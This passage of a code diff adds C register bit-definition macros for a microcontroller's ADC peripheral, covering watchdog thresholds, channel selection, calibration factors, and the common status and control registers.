+#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register ********************/ +#define ADC_CSR_ADRDY_MST_Pos (0UL) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ +#define ADC_CSR_EOSMP_MST_Pos (1UL) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ +#define ADC_CSR_EOC_MST_Pos (2UL) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< End of regular conversion of the master ADC */ +#define ADC_CSR_EOS_MST_Pos (3UL) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ +#define ADC_CSR_OVR_MST_Pos (4UL) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< Overrun flag of the master ADC */ +#define ADC_CSR_JEOC_MST_Pos (5UL) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ +#define ADC_CSR_JEOS_MST_Pos (6UL) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ +#define ADC_CSR_AWD1_MST_Pos (7UL) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ +#define ADC_CSR_AWD2_MST_Pos (8UL) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ +#define ADC_CSR_AWD3_MST_Pos (9UL) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ +#define ADC_CSR_JQOVF_MST_Pos (10UL) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ +#define ADC_CSR_LDORDY_MST_Pos (12UL) +#define ADC_CSR_LDORDY_MST_Msk (0x1UL << ADC_CSR_LDORDY_MST_Pos) /*!< 0x00001000 */ +#define ADC_CSR_LDORDY_MST ADC_CSR_LDORDY_MST_Msk /*!< Voltage regulator ready flag of the master ADC */ +#define ADC_CSR_ADRDY_SLV_Pos (16UL) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ +#define ADC_CSR_EOSMP_SLV_Pos (17UL) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ +#define ADC_CSR_EOC_SLV_Pos (18UL) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ +#define ADC_CSR_EOS_SLV_Pos (19UL) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ +#define ADC_CSR_OVR_SLV_Pos (20UL) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ +#define ADC_CSR_JEOC_SLV_Pos (21UL) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ +#define ADC_CSR_JEOS_SLV_Pos (22UL) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ +#define ADC_CSR_AWD1_SLV_Pos (23UL) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ +#define ADC_CSR_AWD2_SLV_Pos (24UL) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ +#define ADC_CSR_AWD3_SLV_Pos (25UL) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ +#define ADC_CSR_JQOVF_SLV_Pos (26UL) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ +#define ADC_CSR_LDORDY_SLV_Pos (28UL) +#define ADC_CSR_LDORDY_SLV_Msk (0x1UL << ADC_CSR_LDORDY_SLV_Pos) /*!< 0x10000000 */ +#define ADC_CSR_LDORDY_SLV ADC_CSR_LDORDY_SLV_Msk /*!< Voltage regulator ready flag of the slave ADC */ + +/******************** Bit definition for ADC_CCR register ********************/ +#define ADC_CCR_DUAL_Pos (0UL) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< Dual ADC mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8UL) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DAMDF_Pos (14UL) +#define ADC_CCR_DAMDF_Msk (0x3UL << ADC_CCR_DAMDF_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_DAMDF ADC_CCR_DAMDF_Msk /*!< Dual ADC mode data format */ +#define ADC_CCR_DAMDF_0 (0x1UL << ADC_CCR_DAMDF_Pos) /*!< 0x00004000 */ +#define ADC_CCR_DAMDF_1 (0x2UL << ADC_CCR_DAMDF_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 